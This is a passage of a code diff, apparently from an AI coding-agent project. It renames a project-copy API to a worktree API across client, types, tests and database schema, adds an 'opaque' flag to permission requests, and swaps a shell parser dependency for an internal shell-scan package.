const Endpoint13_2 = (raw: RawClient["server.project"]) => (input: Endpoint13_2Input) =>
|
||||
preserveEffect<Endpoint13_2Output>()(
|
||||
raw["project.directories"]({
|
||||
params: { projectID: input["projectID"] },
|
||||
query: { location: input["location"] },
|
||||
}).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const adaptGroup13 = (raw: RawClient["server.project"]) => ({
|
||||
list: Endpoint13_0(raw),
|
||||
current: Endpoint13_1(raw),
|
||||
directories: Endpoint13_2(raw),
|
||||
})
|
||||
const adaptGroup13 = (raw: RawClient["server.project"]) => ({ list: Endpoint13_0(raw), current: Endpoint13_1(raw) })
|
||||
|
||||
const Endpoint14_0 = (raw: RawClient["server.form"]) => (input?: Endpoint14_0Input) =>
|
||||
preserveEffect<Endpoint14_0Output>()(
|
||||
@@ -982,6 +970,7 @@ const Endpoint15_3 = (raw: RawClient["server.permission"]) => (input: Endpoint15
|
||||
action: input["action"],
|
||||
resources: input["resources"],
|
||||
save: input["save"],
|
||||
opaque: input["opaque"],
|
||||
metadata: input["metadata"],
|
||||
source: input["source"],
|
||||
agent: input["agent"],
|
||||
@@ -1212,36 +1201,37 @@ const Endpoint23_0 = (raw: RawClient["server.reference"]) => (input?: Endpoint23
|
||||
|
||||
const adaptGroup23 = (raw: RawClient["server.reference"]) => ({ list: Endpoint23_0(raw) })
|
||||
|
||||
const Endpoint24_0 = (raw: RawClient["server.projectCopy"]) => (input: Endpoint24_0Input) =>
|
||||
const Endpoint24_0 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_0Input) =>
|
||||
preserveEffect<Endpoint24_0Output>()(
|
||||
raw["projectCopy.create"]({
|
||||
raw["worktree.list"]({ params: { projectID: input["projectID"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint24_1 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_1Input) =>
|
||||
preserveEffect<Endpoint24_1Output>()(
|
||||
raw["worktree.create"]({
|
||||
params: { projectID: input["projectID"] },
|
||||
query: { location: input["location"] },
|
||||
payload: { strategy: input["strategy"], directory: input["directory"], name: input["name"] },
|
||||
payload: { strategy: input["strategy"], from: input["from"], directory: input["directory"], name: input["name"] },
|
||||
}).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint24_1 = (raw: RawClient["server.projectCopy"]) => (input: Endpoint24_1Input) =>
|
||||
preserveEffect<Endpoint24_1Output>()(
|
||||
raw["projectCopy.remove"]({
|
||||
const Endpoint24_2 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_2Input) =>
|
||||
preserveEffect<Endpoint24_2Output>()(
|
||||
raw["worktree.remove"]({
|
||||
params: { projectID: input["projectID"] },
|
||||
query: { location: input["location"] },
|
||||
payload: { directory: input["directory"], force: input["force"] },
|
||||
}).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const Endpoint24_2 = (raw: RawClient["server.projectCopy"]) => (input: Endpoint24_2Input) =>
|
||||
preserveEffect<Endpoint24_2Output>()(
|
||||
raw["projectCopy.refresh"]({
|
||||
params: { projectID: input["projectID"] },
|
||||
query: { location: input["location"] },
|
||||
}).pipe(Effect.mapError(mapClientError)),
|
||||
const Endpoint24_3 = (raw: RawClient["server.worktree"]) => (input: Endpoint24_3Input) =>
|
||||
preserveEffect<Endpoint24_3Output>()(
|
||||
raw["worktree.refresh"]({ params: { projectID: input["projectID"] } }).pipe(Effect.mapError(mapClientError)),
|
||||
)
|
||||
|
||||
const adaptGroup24 = (raw: RawClient["server.projectCopy"]) => ({
|
||||
create: Endpoint24_0(raw),
|
||||
remove: Endpoint24_1(raw),
|
||||
refresh: Endpoint24_2(raw),
|
||||
const adaptGroup24 = (raw: RawClient["server.worktree"]) => ({
|
||||
list: Endpoint24_0(raw),
|
||||
create: Endpoint24_1(raw),
|
||||
remove: Endpoint24_2(raw),
|
||||
refresh: Endpoint24_3(raw),
|
||||
})
|
||||
|
||||
const Endpoint25_0 = (raw: RawClient["server.vcs"]) => (input?: Endpoint25_0Input) =>
|
||||
@@ -1334,7 +1324,7 @@ const adaptClient = (raw: RawClient) => ({
|
||||
shell: adaptGroup21(raw["server.shell"]),
|
||||
question: adaptGroup22(raw["server.question"]),
|
||||
reference: adaptGroup23(raw["server.reference"]),
|
||||
projectCopy: adaptGroup24(raw["server.projectCopy"]),
|
||||
worktree: adaptGroup24(raw["server.worktree"]),
|
||||
vcs: adaptGroup25(raw["server.vcs"]),
|
||||
debug: adaptGroup26(raw["server.debug"]),
|
||||
migration: adaptGroup27(raw["server.migration"]),
|
||||
|
||||
@@ -33,7 +33,7 @@ export { Model } from "@opencode-ai/schema/model"
|
||||
export { Permission } from "@opencode-ai/schema/permission"
|
||||
export { PermissionSaved } from "@opencode-ai/schema/permission-saved"
|
||||
export { Project } from "@opencode-ai/schema/project"
|
||||
export { ProjectCopy } from "@opencode-ai/schema/project-copy"
|
||||
export { Worktree } from "@opencode-ai/schema/worktree"
|
||||
export { Provider } from "@opencode-ai/schema/provider"
|
||||
export { Pty } from "@opencode-ai/schema/pty"
|
||||
export { Question } from "@opencode-ai/schema/question"
|
||||
|
||||
@@ -133,8 +133,6 @@ import type {
|
||||
ProjectListOutput,
|
||||
ProjectCurrentInput,
|
||||
ProjectCurrentOutput,
|
||||
ProjectDirectoriesInput,
|
||||
ProjectDirectoriesOutput,
|
||||
FormRequestListInput,
|
||||
FormRequestListOutput,
|
||||
FormListInput,
|
||||
@@ -206,12 +204,14 @@ import type {
|
||||
QuestionRejectOutput,
|
||||
ReferenceListInput,
|
||||
ReferenceListOutput,
|
||||
ProjectCopyCreateInput,
|
||||
ProjectCopyCreateOutput,
|
||||
ProjectCopyRemoveInput,
|
||||
ProjectCopyRemoveOutput,
|
||||
ProjectCopyRefreshInput,
|
||||
ProjectCopyRefreshOutput,
|
||||
WorktreeListInput,
|
||||
WorktreeListOutput,
|
||||
WorktreeCreateInput,
|
||||
WorktreeCreateOutput,
|
||||
WorktreeRemoveInput,
|
||||
WorktreeRemoveOutput,
|
||||
WorktreeRefreshInput,
|
||||
WorktreeRefreshOutput,
|
||||
VcsGetInput,
|
||||
VcsGetOutput,
|
||||
VcsStatusInput,
|
||||
@@ -1255,18 +1255,6 @@ export function make(options: ClientOptions) {
|
||||
},
|
||||
requestOptions,
|
||||
),
|
||||
directories: (input: ProjectDirectoriesInput, requestOptions?: RequestOptions) =>
|
||||
request<ProjectDirectoriesOutput>(
|
||||
{
|
||||
method: "GET",
|
||||
path: `/api/project/${encodeURIComponent(input.projectID)}/directories`,
|
||||
query: { location: input["location"] },
|
||||
successStatus: 200,
|
||||
declaredStatuses: [401, 400],
|
||||
empty: false,
|
||||
},
|
||||
requestOptions,
|
||||
),
|
||||
},
|
||||
form: {
|
||||
request: {
|
||||
@@ -1402,6 +1390,7 @@ export function make(options: ClientOptions) {
|
||||
action: input["action"],
|
||||
resources: input["resources"],
|
||||
save: input["save"],
|
||||
opaque: input["opaque"],
|
||||
metadata: input["metadata"],
|
||||
source: input["source"],
|
||||
agent: input["agent"],
|
||||
@@ -1736,26 +1725,40 @@ export function make(options: ClientOptions) {
|
||||
requestOptions,
|
||||
),
|
||||
},
|
||||
projectCopy: {
|
||||
create: (input: ProjectCopyCreateInput, requestOptions?: RequestOptions) =>
|
||||
request<ProjectCopyCreateOutput>(
|
||||
worktree: {
|
||||
list: (input: WorktreeListInput, requestOptions?: RequestOptions) =>
|
||||
request<WorktreeListOutput>(
|
||||
{
|
||||
method: "GET",
|
||||
path: `/api/experimental/project/${encodeURIComponent(input.projectID)}/worktree`,
|
||||
successStatus: 200,
|
||||
declaredStatuses: [401, 400],
|
||||
empty: false,
|
||||
},
|
||||
requestOptions,
|
||||
),
|
||||
create: (input: WorktreeCreateInput, requestOptions?: RequestOptions) =>
|
||||
request<WorktreeCreateOutput>(
|
||||
{
|
||||
method: "POST",
|
||||
path: `/api/experimental/project/${encodeURIComponent(input.projectID)}/copy`,
|
||||
query: { location: input["location"] },
|
||||
body: { strategy: input["strategy"], directory: input["directory"], name: input["name"] },
|
||||
path: `/api/experimental/project/${encodeURIComponent(input.projectID)}/worktree`,
|
||||
body: {
|
||||
strategy: input["strategy"],
|
||||
from: input["from"],
|
||||
directory: input["directory"],
|
||||
name: input["name"],
|
||||
},
|
||||
successStatus: 200,
|
||||
declaredStatuses: [400, 401],
|
||||
empty: false,
|
||||
},
|
||||
requestOptions,
|
||||
),
|
||||
remove: (input: ProjectCopyRemoveInput, requestOptions?: RequestOptions) =>
|
||||
request<ProjectCopyRemoveOutput>(
|
||||
remove: (input: WorktreeRemoveInput, requestOptions?: RequestOptions) =>
|
||||
request<WorktreeRemoveOutput>(
|
||||
{
|
||||
method: "DELETE",
|
||||
path: `/api/experimental/project/${encodeURIComponent(input.projectID)}/copy`,
|
||||
query: { location: input["location"] },
|
||||
path: `/api/experimental/project/${encodeURIComponent(input.projectID)}/worktree`,
|
||||
body: { directory: input["directory"], force: input["force"] },
|
||||
successStatus: 204,
|
||||
declaredStatuses: [400, 401],
|
||||
@@ -1763,12 +1766,11 @@ export function make(options: ClientOptions) {
|
||||
},
|
||||
requestOptions,
|
||||
),
|
||||
refresh: (input: ProjectCopyRefreshInput, requestOptions?: RequestOptions) =>
|
||||
request<ProjectCopyRefreshOutput>(
|
||||
refresh: (input: WorktreeRefreshInput, requestOptions?: RequestOptions) =>
|
||||
request<WorktreeRefreshOutput>(
|
||||
{
|
||||
method: "POST",
|
||||
path: `/api/experimental/project/${encodeURIComponent(input.projectID)}/copy/refresh`,
|
||||
query: { location: input["location"] },
|
||||
path: `/api/experimental/project/${encodeURIComponent(input.projectID)}/worktree/refresh`,
|
||||
successStatus: 204,
|
||||
declaredStatuses: [400, 401],
|
||||
empty: true,
|
||||
|
||||
@@ -291,8 +291,6 @@ export type ProjectTime = { created: number; updated: number; initialized?: numb
|
||||
|
||||
export type ProjectCurrent = { id: string; directory: string; canonical: string }
|
||||
|
||||
export type ProjectDirectory = { directory: string; strategy?: string }
|
||||
|
||||
export type FormMetadata = { [x: string]: JsonValue }
|
||||
|
||||
export type FormValue = string | number | boolean | Array<string>
|
||||
@@ -370,7 +368,9 @@ export type ReferenceGitSource = {
|
||||
hidden?: boolean
|
||||
}
|
||||
|
||||
export type ProjectCopyCopy = { directory: string }
|
||||
export type WorktreeDirectory = { directory: string; strategy?: string }
|
||||
|
||||
export type WorktreeInfo = { directory: string }
|
||||
|
||||
export type VcsBranch = { current?: string; default?: string }
|
||||
|
||||
@@ -828,20 +828,20 @@ export type PluginUpdated = {
|
||||
data: {}
|
||||
}
|
||||
|
||||
export type ProjectDirectoriesUpdated = {
|
||||
export type WorktreeUpdated = {
|
||||
id: string
|
||||
created: number
|
||||
metadata?: { [x: string]: any }
|
||||
type: "project.directories.updated"
|
||||
type: "worktree.updated"
|
||||
location?: LocationRef
|
||||
data: { projectID: string }
|
||||
}
|
||||
|
||||
export type ProjectDirectoryResolved = {
|
||||
export type WorktreeResolved = {
|
||||
id: string
|
||||
created: number
|
||||
metadata?: { [x: string]: any }
|
||||
type: "project.directory.resolved"
|
||||
type: "worktree.resolved"
|
||||
durable: { aggregateID: string; seq: number; version: 1 }
|
||||
location?: LocationRef
|
||||
data: { projectID: string; directory: string; previous: string }
|
||||
@@ -1369,8 +1369,6 @@ export type Project = {
|
||||
sandboxes: Array<string>
|
||||
}
|
||||
|
||||
export type ProjectDirectories = Array<ProjectDirectory>
|
||||
|
||||
export type FormAnswer = { [x: string]: FormValue }
|
||||
|
||||
export type PermissionRequest = {
|
||||
@@ -1379,6 +1377,7 @@ export type PermissionRequest = {
|
||||
action: string
|
||||
resources: Array<string>
|
||||
save?: Array<string>
|
||||
opaque?: boolean
|
||||
metadata?: { [x: string]: JsonValue }
|
||||
source?: PermissionSource
|
||||
}
|
||||
@@ -1395,6 +1394,7 @@ export type PermissionAsked = {
|
||||
action: string
|
||||
resources: Array<string>
|
||||
save?: Array<string>
|
||||
opaque?: boolean
|
||||
metadata?: { [x: string]: any }
|
||||
source?: PermissionSource
|
||||
}
|
||||
@@ -1520,6 +1520,8 @@ export type SessionStatus2 = {
|
||||
|
||||
export type ReferenceSource = ReferenceLocalSource | ReferenceGitSource
|
||||
|
||||
export type WorktreeList = Array<WorktreeDirectory>
|
||||
|
||||
export type VcsInfo = { branch: VcsBranch }
|
||||
|
||||
export type PermissionRuleset = Array<PermissionRule>
|
||||
@@ -2102,8 +2104,8 @@ export type V2Event =
|
||||
| PermissionReplied
|
||||
| PluginAdded
|
||||
| PluginUpdated
|
||||
| ProjectDirectoriesUpdated
|
||||
| ProjectDirectoryResolved
|
||||
| WorktreeUpdated
|
||||
| WorktreeResolved
|
||||
| CommandUpdated
|
||||
| ConfigUpdated
|
||||
| SkillUpdated
|
||||
@@ -2304,12 +2306,12 @@ export type QuestionNotFoundError = {
|
||||
export const isQuestionNotFoundError = (value: unknown): value is QuestionNotFoundError =>
|
||||
typeof value === "object" && value !== null && "_tag" in value && value["_tag"] === "QuestionNotFoundError"
|
||||
|
||||
export type ProjectCopyError = {
|
||||
readonly name: "ProjectCopyError"
|
||||
export type WorktreeError = {
|
||||
readonly name: "WorktreeError"
|
||||
readonly data: { readonly message: string; readonly forceRequired?: boolean | undefined }
|
||||
}
|
||||
export const isProjectCopyError = (value: unknown): value is ProjectCopyError =>
|
||||
typeof value === "object" && value !== null && "name" in value && value["name"] === "ProjectCopyError"
|
||||
export const isWorktreeError = (value: unknown): value is WorktreeError =>
|
||||
typeof value === "object" && value !== null && "name" in value && value["name"] === "WorktreeError"
|
||||
|
||||
export type HealthGetOutput = ServiceHealth
|
||||
|
||||
@@ -4348,15 +4350,6 @@ export type ProjectCurrentInput = {
|
||||
|
||||
export type ProjectCurrentOutput = ProjectCurrent
|
||||
|
||||
export type ProjectDirectoriesInput = {
|
||||
readonly projectID: { readonly projectID: string }["projectID"]
|
||||
readonly location?: {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}["location"]
|
||||
}
|
||||
|
||||
export type ProjectDirectoriesOutput = ProjectDirectories
|
||||
|
||||
export type FormRequestListInput = {
|
||||
readonly location?: {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
@@ -5239,6 +5232,7 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5248,6 +5242,7 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5257,6 +5252,7 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5266,15 +5262,27 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
}["save"]
|
||||
readonly opaque?: {
|
||||
readonly id?: string | null
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
}["opaque"]
|
||||
readonly metadata?: {
|
||||
readonly id?: string | null
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5284,6 +5292,7 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5293,6 +5302,7 @@ export type PermissionCreateInput = {
|
||||
readonly action: string
|
||||
readonly resources: ReadonlyArray<string>
|
||||
readonly save?: ReadonlyArray<string>
|
||||
readonly opaque?: boolean
|
||||
readonly metadata?: { readonly [x: string]: JsonValue }
|
||||
readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
|
||||
readonly agent?: string | null
|
||||
@@ -5642,37 +5652,51 @@ export type ReferenceListOutput = {
|
||||
data: Array<ReferenceInfo>
|
||||
}
|
||||
|
||||
export type ProjectCopyCreateInput = {
|
||||
export type WorktreeListInput = { readonly projectID: { readonly projectID: string }["projectID"] }
|
||||
|
||||
export type WorktreeListOutput = WorktreeList
|
||||
|
||||
export type WorktreeCreateInput = {
|
||||
readonly projectID: { readonly projectID: string }["projectID"]
|
||||
readonly location?: {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}["location"]
|
||||
readonly strategy: { readonly strategy: string; readonly directory: string; readonly name?: string }["strategy"]
|
||||
readonly directory: { readonly strategy: string; readonly directory: string; readonly name?: string }["directory"]
|
||||
readonly name?: { readonly strategy: string; readonly directory: string; readonly name?: string }["name"]
|
||||
readonly strategy: {
|
||||
readonly strategy: string
|
||||
readonly from?: string
|
||||
readonly directory: string
|
||||
readonly name?: string
|
||||
}["strategy"]
|
||||
readonly from?: {
|
||||
readonly strategy: string
|
||||
readonly from?: string
|
||||
readonly directory: string
|
||||
readonly name?: string
|
||||
}["from"]
|
||||
readonly directory: {
|
||||
readonly strategy: string
|
||||
readonly from?: string
|
||||
readonly directory: string
|
||||
readonly name?: string
|
||||
}["directory"]
|
||||
readonly name?: {
|
||||
readonly strategy: string
|
||||
readonly from?: string
|
||||
readonly directory: string
|
||||
readonly name?: string
|
||||
}["name"]
|
||||
}
|
||||
|
||||
export type ProjectCopyCreateOutput = ProjectCopyCopy
|
||||
export type WorktreeCreateOutput = WorktreeInfo
|
||||
|
||||
export type ProjectCopyRemoveInput = {
|
||||
export type WorktreeRemoveInput = {
|
||||
readonly projectID: { readonly projectID: string }["projectID"]
|
||||
readonly location?: {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}["location"]
|
||||
readonly directory: { readonly directory: string; readonly force: boolean }["directory"]
|
||||
readonly force: { readonly directory: string; readonly force: boolean }["force"]
|
||||
}
|
||||
|
||||
export type ProjectCopyRemoveOutput = void
|
||||
export type WorktreeRemoveOutput = void
|
||||
|
||||
export type ProjectCopyRefreshInput = {
|
||||
readonly projectID: { readonly projectID: string }["projectID"]
|
||||
readonly location?: {
|
||||
readonly location?: { readonly directory?: string | undefined; readonly workspace?: string | undefined } | undefined
|
||||
}["location"]
|
||||
}
|
||||
export type WorktreeRefreshInput = { readonly projectID: { readonly projectID: string }["projectID"] }
|
||||
|
||||
export type ProjectCopyRefreshOutput = void
|
||||
export type WorktreeRefreshOutput = void
|
||||
|
||||
export type VcsGetInput = {
|
||||
readonly location?: {
|
||||
|
||||
@@ -29,7 +29,7 @@ test("exposes every standard HTTP API group", () => {
|
||||
"shell",
|
||||
"question",
|
||||
"reference",
|
||||
"projectCopy",
|
||||
"worktree",
|
||||
"vcs",
|
||||
"debug",
|
||||
"migration",
|
||||
@@ -49,7 +49,8 @@ test("exposes every standard HTTP API group", () => {
|
||||
expect(Object.keys(client.vcs)).toEqual(["get", "status", "diff"])
|
||||
expect(Object.keys(client.pty)).toEqual(["list", "create", "get", "update", "remove"])
|
||||
expect(Object.keys(client.shell)).toEqual(["list", "create", "get", "timeout", "output", "remove"])
|
||||
expect(Object.keys(client.project)).toEqual(["list", "current", "directories"])
|
||||
expect(Object.keys(client.project)).toEqual(["list", "current"])
|
||||
expect(Object.keys(client.worktree)).toEqual(["list", "create", "remove", "refresh"])
|
||||
})
|
||||
|
||||
test("config.get returns ordered config entries for a location", async () => {
|
||||
@@ -251,30 +252,48 @@ test("file.read returns binary content from the public HTTP contract", async ()
|
||||
)
|
||||
})
|
||||
|
||||
test("project methods use the public HTTP contract", async () => {
|
||||
const requests: string[] = []
|
||||
test("worktree methods use the global project contract", async () => {
|
||||
const requests: Request[] = []
|
||||
const client = OpenCode.make({
|
||||
baseUrl: "http://localhost:3000",
|
||||
fetch: async (input) => {
|
||||
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url
|
||||
requests.push(url)
|
||||
if (url.includes("/directories")) return Response.json([])
|
||||
return Response.json({ id: "proj_test", directory: "/tmp/project" })
|
||||
fetch: async (input, init) => {
|
||||
const request = input instanceof Request ? input : new Request(input, init)
|
||||
requests.push(request)
|
||||
if (request.method === "GET") return Response.json([{ directory: "/tmp/project" }])
|
||||
if (request.method === "POST" && !request.url.endsWith("/refresh"))
|
||||
return Response.json({ directory: "/tmp/worktrees/api" })
|
||||
return new Response(null, { status: 204 })
|
||||
},
|
||||
})
|
||||
|
||||
const current = await client.project.current({ location: { workspace: "wrk_test" } })
|
||||
const directories = await client.project.directories({
|
||||
projectID: current.id,
|
||||
location: { directory: current.directory },
|
||||
expect(await client.worktree.list({ projectID: "proj_test" })).toEqual([{ directory: "/tmp/project" }])
|
||||
expect(
|
||||
await client.worktree.create({
|
||||
projectID: "proj_test",
|
||||
strategy: "git",
|
||||
directory: "/tmp/worktrees",
|
||||
name: "api",
|
||||
}),
|
||||
).toEqual({ directory: "/tmp/worktrees/api" })
|
||||
await client.worktree.remove({
|
||||
projectID: "proj_test",
|
||||
directory: "/tmp/worktrees/api",
|
||||
force: false,
|
||||
})
|
||||
await client.worktree.refresh({ projectID: "proj_test" })
|
||||
|
||||
expect(current).toEqual({ id: "proj_test", directory: "/tmp/project" })
|
||||
expect(directories).toEqual([])
|
||||
expect(requests).toEqual([
|
||||
"http://localhost:3000/api/project/current?location%5Bworkspace%5D=wrk_test",
|
||||
"http://localhost:3000/api/project/proj_test/directories?location%5Bdirectory%5D=%2Ftmp%2Fproject",
|
||||
expect(requests.map((request) => [request.method, request.url])).toEqual([
|
||||
["GET", "http://localhost:3000/api/experimental/project/proj_test/worktree"],
|
||||
["POST", "http://localhost:3000/api/experimental/project/proj_test/worktree"],
|
||||
["DELETE", "http://localhost:3000/api/experimental/project/proj_test/worktree"],
|
||||
["POST", "http://localhost:3000/api/experimental/project/proj_test/worktree/refresh"],
|
||||
])
|
||||
expect(await requests[1]?.json()).toEqual({
|
||||
strategy: "git",
|
||||
directory: "/tmp/worktrees",
|
||||
name: "api",
|
||||
})
|
||||
expect(await requests[2]?.json()).toEqual({ directory: "/tmp/worktrees/api", force: false })
|
||||
})
|
||||
|
||||
test("shell list and remove use the public HTTP contract", async () => {
|
||||
|
||||
@@ -53,12 +53,6 @@
|
||||
"node": "./src/image/photon-wasm.node.ts",
|
||||
"default": "./src/image/photon-wasm.bun.ts"
|
||||
},
|
||||
"#shell-parser-wasm": {
|
||||
"workerd": "./src/shell/parser-wasm.workerd.ts",
|
||||
"bun": "./src/shell/parser-wasm.bun.ts",
|
||||
"node": "./src/shell/parser-wasm.node.ts",
|
||||
"default": "./src/shell/parser-wasm.bun.ts"
|
||||
},
|
||||
"#process-lock-ffi": {
|
||||
"workerd": "./src/util/process-lock-ffi.workerd.ts",
|
||||
"bun": "./src/util/process-lock-ffi.bun.ts",
|
||||
@@ -80,6 +74,7 @@
|
||||
"@types/bun": "catalog:",
|
||||
"@types/node": "catalog:",
|
||||
"@types/which": "3.0.4",
|
||||
"@opencode-ai/shell-scan": "workspace:*",
|
||||
"@parcel/watcher-darwin-arm64": "2.5.1",
|
||||
"@parcel/watcher-darwin-x64": "2.5.1",
|
||||
"@parcel/watcher-linux-arm64-glibc": "2.5.1",
|
||||
@@ -136,10 +131,7 @@
|
||||
"ignore": "7.0.5",
|
||||
"jsonc-parser": "3.3.1",
|
||||
"mime-types": "3.0.2",
|
||||
"tree-sitter-bash": "0.25.0",
|
||||
"tree-sitter-powershell": "0.25.10",
|
||||
"venice-ai-sdk-provider": "2.1.1",
|
||||
"web-tree-sitter": "0.25.10",
|
||||
"which": "6.0.1",
|
||||
"zod": "catalog:"
|
||||
}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
{
|
||||
"version": "7",
|
||||
"dialect": "sqlite",
|
||||
"id": "5c1aa56b-c3ee-4283-9a84-c0bf626dc604",
|
||||
"prevIds": ["00924d88-1842-4d71-ac74-5682ddc47e1c"],
|
||||
"id": "dcde8e6b-4bf4-4f6b-b2be-4030c2c3e936",
|
||||
"prevIds": ["5c1aa56b-c3ee-4283-9a84-c0bf626dc604"],
|
||||
"ddl": [
|
||||
{
|
||||
"name": "account_state",
|
||||
@@ -76,6 +76,10 @@
|
||||
"name": "workspace",
|
||||
"entityType": "tables"
|
||||
},
|
||||
{
|
||||
"name": "worktree",
|
||||
"entityType": "tables"
|
||||
},
|
||||
{
|
||||
"type": "integer",
|
||||
"notNull": false,
|
||||
@@ -1436,6 +1440,46 @@
|
||||
"entityType": "columns",
|
||||
"table": "workspace"
|
||||
},
|
||||
{
|
||||
"type": "text",
|
||||
"notNull": true,
|
||||
"autoincrement": false,
|
||||
"default": null,
|
||||
"generated": null,
|
||||
"name": "project_id",
|
||||
"entityType": "columns",
|
||||
"table": "worktree"
|
||||
},
|
||||
{
|
||||
"type": "text",
|
||||
"notNull": true,
|
||||
"autoincrement": false,
|
||||
"default": null,
|
||||
"generated": null,
|
||||
"name": "directory",
|
||||
"entityType": "columns",
|
||||
"table": "worktree"
|
||||
},
|
||||
{
|
||||
"type": "text",
|
||||
"notNull": false,
|
||||
"autoincrement": false,
|
||||
"default": null,
|
||||
"generated": null,
|
||||
"name": "strategy",
|
||||
"entityType": "columns",
|
||||
"table": "worktree"
|
||||
},
|
||||
{
|
||||
"type": "integer",
|
||||
"notNull": true,
|
||||
"autoincrement": false,
|
||||
"default": null,
|
||||
"generated": null,
|
||||
"name": "time_created",
|
||||
"entityType": "columns",
|
||||
"table": "worktree"
|
||||
},
|
||||
{
|
||||
"columns": ["active_account_id"],
|
||||
"tableTo": "account",
|
||||
@@ -1546,6 +1590,17 @@
|
||||
"entityType": "fks",
|
||||
"table": "session_v2"
|
||||
},
|
||||
{
|
||||
"columns": ["project_id"],
|
||||
"tableTo": "project",
|
||||
"columnsTo": ["id"],
|
||||
"onUpdate": "NO ACTION",
|
||||
"onDelete": "CASCADE",
|
||||
"nameExplicit": false,
|
||||
"name": "fk_worktree_project_id_project_id_fk",
|
||||
"entityType": "fks",
|
||||
"table": "worktree"
|
||||
},
|
||||
{
|
||||
"columns": ["email", "url"],
|
||||
"nameExplicit": false,
|
||||
@@ -1567,6 +1622,13 @@
|
||||
"entityType": "pks",
|
||||
"table": "instruction_entry"
|
||||
},
|
||||
{
|
||||
"columns": ["project_id", "directory"],
|
||||
"nameExplicit": false,
|
||||
"name": "worktree_pk",
|
||||
"entityType": "pks",
|
||||
"table": "worktree"
|
||||
},
|
||||
{
|
||||
"columns": ["id"],
|
||||
"nameExplicit": false,
|
||||
|
||||
@@ -19,7 +19,17 @@ const result = await Bun.build({
|
||||
target: "node",
|
||||
format: "esm",
|
||||
packages: "external",
|
||||
external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#shell-parser-wasm", "#process-lock-ffi", "#v1-migration"],
|
||||
external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#process-lock-ffi", "#v1-migration"],
|
||||
plugins: [
|
||||
{
|
||||
name: "bundle-shell-scan",
|
||||
setup(build) {
|
||||
build.onResolve({ filter: /^@opencode-ai\/shell-scan$/ }, () => ({
|
||||
path: path.resolve("../shell-scan/src/index.ts"),
|
||||
}))
|
||||
},
|
||||
},
|
||||
],
|
||||
splitting: true,
|
||||
loader: {
|
||||
".txt": "text",
|
||||
|
||||
+2
@@ -42,6 +42,7 @@ import m39 from "./migration/20260805200742_import_legacy_credentials.js"
|
||||
import m40 from "./migration/20260808023530_workspace_domain.js"
|
||||
import m41 from "./migration/20260811161259_execution_claim_attempts.js"
|
||||
import m42 from "./migration/20260812181746_session_inbox.js"
|
||||
import m43 from "./migration/20260812213948_worktree.js"
|
||||
|
||||
export const migrations = [
|
||||
m00,
|
||||
@@ -87,4 +88,5 @@ export const migrations = [
|
||||
m40,
|
||||
m41,
|
||||
m42,
|
||||
m43,
|
||||
] satisfies DatabaseMigration.Migration[]
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
import { Effect } from "effect"
|
||||
import type { DatabaseMigration } from "../migration.js"
|
||||
|
||||
const migration: DatabaseMigration.Migration = {
|
||||
id: "20260812213948_worktree",
|
||||
up(tx) {
|
||||
return Effect.gen(function* () {
|
||||
